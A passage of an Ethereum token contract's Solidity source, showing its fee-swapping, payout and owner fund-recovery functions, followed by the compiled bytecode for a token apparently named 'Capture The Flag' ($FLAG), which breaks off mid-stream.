if (sender == pair || recipient == pair) {
return false;
}
return true;
}
function swapBack() internal lockTheSwap {
//uint256 tokensToLiquify = _balances[address(this)];
uint256 tokensToLiquify = swapThreshold;
uint256 amountToLiquify = tokensToLiquify
.mul(liquidityFee)
.div(totalFee)
.div(2);
uint256 amountToSwap = tokensToLiquify.sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance;
uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
uint256 amountETHMarketing = amountETH.mul(marketingFee).div(
totalETHFee
);
uint256 amountETHRing = amountETH.mul(ringFee).div(totalETHFee);
uint256 amountETHLiquidity = amountETH
.mul(liquidityFee)
.div(totalETHFee)
.div(2);
(bool tmpSuccess, ) = payable(marketingWallet).call{
value: amountETHMarketing,
gas: 30000
}("");
(bool tmpSuccess2, ) = payable(Ring).call{
value: amountETHRing,
gas: 30000
}("");
emit RingPayout(Ring, amountETHRing);
// only to supress warning msg
tmpSuccess = false;
tmpSuccess2 = false;
if (amountToLiquify > 0) {
router.addLiquidityETH{value: amountETHLiquidity}(
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp
);
emit AutoLiquify(amountETHLiquidity, amountToLiquify);
}
}
function recoverLosteth() external authorized {
payable(msg.sender).transfer(address(this).balance);
}
function recoverLostTokens(address _token, uint256 _amount)
external
authorized
{
IERC20(_token).transfer(msg.sender, _amount);
}
} | 0x60806040526004361061028c5760003560e01c80638eb6889f1161015a578063cec10c11116100c1578063ed14f20a1161007a578063ed14f20a14610e7e578063f0b37c0414610ee5578063f2fde38b14610f36578063f84ba65d14610f87578063f887ea4014610fe4578063fe9fbb801461102557610293565b8063cec10c1114610c7c578063d3b43dfc14610ccb578063dd62ed3e14610d1c578063dec2ba0f14610da1578063df20fd4914610dfc578063ec28438a14610e4357610293565b8063a4b45c0011610113578063a4b45c0014610a9c578063a8aa1b3114610b0d578063a9059cbb14610b4e578063b6a5d7de14610bbf578063ca33e64c14610c10578063ca987b0e14610c5157610293565b80638eb6889f14610925578063944c1d971461095057806395d89b411461097b57806398118cb414610a0b5780639d0014b114610a365780639f2bb2e914610a7157610293565b80633f4218e0116101fe57806370a08231116101b757806370a082311461075b578063712a890a146107c057806375f0a874146107fb57806387b3be7d1461083c578063893d20e81461087d5780638b42507f146108be57610293565b80633f4218e0146105ad57806346cf314f146106145780634a74bb021461063f578063571ac8b01461066c578063658d4b7f146106d35780636b67c4df1461073057610293565b806323b872dd1161025057806323b872dd1461041a5780632b112e49146104ab5780632f54bf6e146104d6578063313ce5671461053d57806333596f501461056b5780633e02a9881461058257610293565b80630445b6671461029857806306fdde03146102c3578063095ea7b31461035357806318160ddd146103c45780631df4ccfc146103ef57610293565b3661029357005b600080fd5b3480156102a457600080fd5b506102ad61108c565b6040518082815260200191505060405180910390f35b3480156102cf57600080fd5b506102d8611092565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103185780820151818401526020810190506102fd565b50505050905090810190601f1680156103455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561035f57600080fd5b506103ac6004803603604081101561037657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110cf565b60405180821515815260200191505060405180910390f35b3480156103d057600080fd5b506103d96111c1565b6040518082815260200191505060405180910390f35b3480156103fb57600080fd5b506104046111cb565b6040518082815260200191505060405180910390f35b34801561042657600080fd5b506104936004803603606081101561043d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111d1565b60405180821515815260200191505060405180910390f35b3480156104b757600080fd5b506104c06113d4565b6040518082815260200191505060405180910390f35b3480156104e257600080fd5b50610525600480360360208110156104f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611456565b60405180821515815260200191505060405180910390f35b34801561054957600080fd5b506105526114af565b604051808260ff16815260200191505060405180910390f35b34801561057757600080fd5b506105806114b8565b005b34801561058e57600080fd5b5061059761157c565b6040518082815260200191505060405180910390f35b3480156105b957600080fd5b506105fc600480360360208110156105d057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061158a565b60405180821515815260200191505060405180910390f35b34801561062057600080fd5b506106296115aa565b6040518082815260200191505060405180910390f35b34801561064b57600080fd5b506106546115b0565b60405180821515815260200191505060405180910390f35b34801561067857600080fd5b506106bb6004803603602081101561068f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115c3565b60405180821515815260200191505060405180910390f35b3480156106df57600080fd5b5061072e600480360360408110156106f657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506115f6565b005b34801561073c57600080fd5b506107456116cc565b6040518082815260200191505060405180910390f35b34801561076757600080fd5b506107aa6004803603602081101561077e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116d2565b6040518082815260200191505060405180910390f35b3480156107cc57600080fd5b506107f9600480360360208110156107e357600080fd5b810190808035906020019092919050505061171b565b005b34801561080757600080fd5b506108106117a0565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561084857600080fd5b506108516117c6565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561088957600080fd5b506108926117ec565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156108ca57600080fd5b5061090d600480360360208110156108e157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611815565b60405180821515815260200191505060405180910390f35b34801561093157600080fd5b5061093a611835565b6040518082815260200191505060405180910390f35b34801561095c57600080fd5b5061096561183b565b6040518082815260200191505060405180910390f35b34801561098757600080fd5b50610990611841565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109d05780820151818401526020810190506109b5565b50505050905090810190601f1680156109fd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610a1757600080fd5b50610a2061187e565b6040518082815260200191505060405180910390f35b348015610a4257600080fd5b50610a6f60048036036020811015610a5957600080fd5b8101908080359060200190929190505050611884565b005b348015610a7d57600080fd5b50610a86611909565b6040518082815260200191505060405180910390f35b348015610aa857600080fd5b50610b0b60048036036040811015610abf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061190f565b005b348015610b1957600080fd5b50610b22611a10565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b5a57600080fd5b50610ba760048036036040811015610b7157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a36565b60405180821515815260200191505060405180910390f35b348015610bcb57600080fd5b50610c0e60048036036020811015610be257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a4b565b005b348015610c1c57600080fd5b50610c25611b20565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c5d57600080fd5b50610c66611b46565b6040518082815260200191505060405180910390f35b348015610c8857600080fd5b50610cc960048036036060811015610c9f57600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050611b4c565b005b348015610cd757600080fd5b50610d1a60048036036020811015610cee57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611be1565b005b348015610d2857600080fd5b50610d8b60048036036040811015610d3f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611de3565b6040518082815260200191505060405180910390f35b348015610dad57600080fd5b50610dfa60048036036040811015610dc457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611e6a565b005b348015610e0857600080fd5b50610e4160048036036040811015610e1f57600080fd5b8101908080351515906020019092919080359060200190929190505050611f96565b005b348015610e4f57600080fd5b50610e7c60048036036020811015610e6657600080fd5b8101908080359060200190929190505050612036565b005b348015610e8a57600080fd5b50610ecd60048036036020811015610ea157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120bb565b60405180821515815260200191505060405180910390f35b348015610ef157600080fd5b50610f3460048036036020811015610f0857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120db565b005b348015610f4257600080fd5b50610f8560048036036020811015610f5957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121b1565b005b348015610f9357600080fd5b50610fe260048036036040811015610faa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050612313565b005b348015610ff057600080fd5b50610ff96123e9565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561103157600080fd5b506110746004803603602081101561104857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061240f565b60405180821515815260200191505060405180910390f35b601a5481565b60606040518060400160405280601081526020017f436170747572652054686520466c616700000000000000000000000000000000815250905090565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600554905090565b60115481565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146113bd5761133c826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ed9092919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6113c88484846125ad565b50600190509392505050565b6000611451611404600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166116d2565b611443611432600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166116d2565b6005546129cd90919063ffffffff16565b6129cd90919063ffffffff16565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006012905090565b6114c13361240f565b611533576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611579573d6000803e3d6000fd5b50565b600060085460075401905090565b600b6020528060005260406000206000915054906101000a900460ff1681565b60105481565b601760159054906101000a900460ff1681565b60006115ef827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6110cf565b9050919050565b6115ff3361240f565b611671576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600f5481565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6117243361240f565b611796576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b8060088190555050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600c6020528060005260406000206000915054906101000a900460ff1681565b60065481565b60085481565b60606040518060400160405280600581526020017f24464c4147000000000000000000000000000000000000000000000000000000815250905090565b600e5481565b61188d3361240f565b6118ff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80601a8190555050565b60075481565b6119183361240f565b61198a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b81601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611a433384846125ad565b905092915050565b611a5433611456565b611ac6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60125481565b611b553361240f565b611bc7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b82600e8190555081600f8190555080601081905550505050565b611bea3361240f565b611c5c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611cf281600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246590919063ffffffff16565b600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611e733361240f565b611ee5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611f5657600080fd5b505af1158015611f6a573d6000803e3d6000fd5b505050506040513d6020811015611f8057600080fd5b8101908080519060200190929190505050505050565b611f9f3361240f565b612011576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b81601760156101000a81548160ff02191690831515021790555080601a819055505050565b61203f3361240f565b6120b1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b8060188190555050565b600d6020528060005260406000206000915054906101000a900460ff1681565b6120e433611456565b612156576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6121ba33611456565b61222c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b61231c3361240f565b61238e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000808284019050838110156124e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600083831115829061259a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561255f578082015181840152602081019050612544565b50505050905090810190601f16801561258c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000601760149054906101000a900460ff16156125d6576125cf848484612a17565b90506129c6565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156126415750601760149054906101000a900460ff16155b80156126595750601760159054906101000a900460ff165b80156126a65750601a54600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b156126b4576126b3612bea565b5b6126bf8484846132fc565b6126c98484613dd5565b1561273c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f446f6e277420636865617400000000000000000000000000000000000000000081525060200191505060405180910390fd5b6127c5826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ed9092919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156128ae5750600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6128b857826128c4565b6128c3858585613f48565b5b905061291881600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246590919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a360019150505b9392505050565b6000612a0f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506124ed565b905092915050565b6000612aa2826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ed9092919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b3782600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246590919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6001601760146101000a81548160ff0219169083151502179055506000601a5490506000612c4a6002612c3c601154612c2e600e54876140f090919063ffffffff16565b61417690919063ffffffff16565b61417690919063ffffffff16565b90506000612c6182846129cd90919063ffffffff16565b90506060600267ffffffffffffffff81118015612c7d57600080fd5b50604051908082528060200260200182016040528015612cac5781602001602082028036833780820191505090505b5090503081600081518110612cbd57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612d5f57600080fd5b505afa158015612d73573d6000803e3d6000fd5b505050506040513d6020811015612d8957600080fd5b810190808051906020019092919050505081600181518110612da757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612ea5578082015181840152602081019050612e8a565b505050509050019650505050505050600060405180830381600087803b158015612ece57600080fd5b505af1158015612ee2573d6000803e3d6000fd5b5050505060004790506000612f17612f066002600e5461417690919063ffffffff16565b6011546129cd90919063ffffffff16565b90506000612f4282612f34600f54866140f090919063ffffffff16565b61417690919063ffffffff16565b90506000612f6d83612f5f601054876140f090919063ffffffff16565b61417690919063ffffffff16565b90506000612fab6002612f9d86612f8f600e548a6140f090919063ffffffff16565b61417690919063ffffffff16565b61417690919063ffffffff16565b90506000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168461753090604051806000019050600060405180830381858888f193505050503d8060008114613034576040519150601f19603f3d011682016040523d82523d6000602084013e613039565b606091505b505090506000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168461753090604051806000019050600060405180830381858888f193505050503d80600081146130c4576040519150601f19603f3d011682016040523d82523d6000602084013e6130c9565b606091505b505090507f887dd9f57395c2e1e0dea455ae76bf56410b19b3131f2a590aab0b29b3683632601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1600091506000905060008a11156132d457601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308d600080601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561324157600080fd5b505af1158015613255573d6000803e3d6000fd5b50505050506040513d606081101561326c57600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506838b604051808381526020018281526020019250505060405180910390a15b50505050505050505050506000601760146101000a81548160ff021916908315150217905550565b60085460075442031115613313576133126141c0565b5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156133bb575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156134115750600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561346b5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156134c55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561351f5750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561355757503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15613a92576018548111156135d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f4d4158205458000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60006135df836116d2565b9050601954828201111561363e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806142fb6023913960400191505060405180910390fd5b6060600267ffffffffffffffff8111801561365857600080fd5b506040519080825280602002602001820160405280156136875781602001602082028036833780820191505090505b509050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156136f257600080fd5b505afa158015613706573d6000803e3d6000fd5b505050506040513d602081101561371c57600080fd5b81019080805190602001909291905050508160008151811061373a57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050308160018151811061378257fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631f00ca7485846040518363ffffffff1660e01b81526004018083815260200180602001828103825283818151815260200191508051906020019060200280838360005b8381101561385657808201518184015260208101905061383b565b50505050905001935050505060006040518083038186803b15801561387a57600080fd5b505afa15801561388e573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525060208110156138b857600080fd5b81019080805160405193929190846401000000008211156138d857600080fd5b838201915060208201858111156138ee57600080fd5b825186602082028301116401000000008211171561390b57600080fd5b8083526020830192505050908051906020019060200280838360005b83811015613942578082015181840152602081019050613927565b5050505090500160405250505060008151811061395b57fe5b60200260200101519050600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156139c0575060065481115b15613a8e5784601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600681905550426007819055507f735208e3a5b6390fd1d199ec98f6689564f9d7fef06323849704a8856eeed5f4601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600654604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b5050505b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015613b3a575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015613b905750600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015613bea5750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015613c2257503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15613dd057601854811115613c9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f4d4158205458000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff16601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415613d77577fec798f0f5328ec01f1d48922c12f488ecde2dae7402c814510a37d505cbdbb2a601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600654604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1613d766141c0565b5b6001600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b505050565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680613e785750600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15613e865760009050613f42565b601760009054906101000a900473ff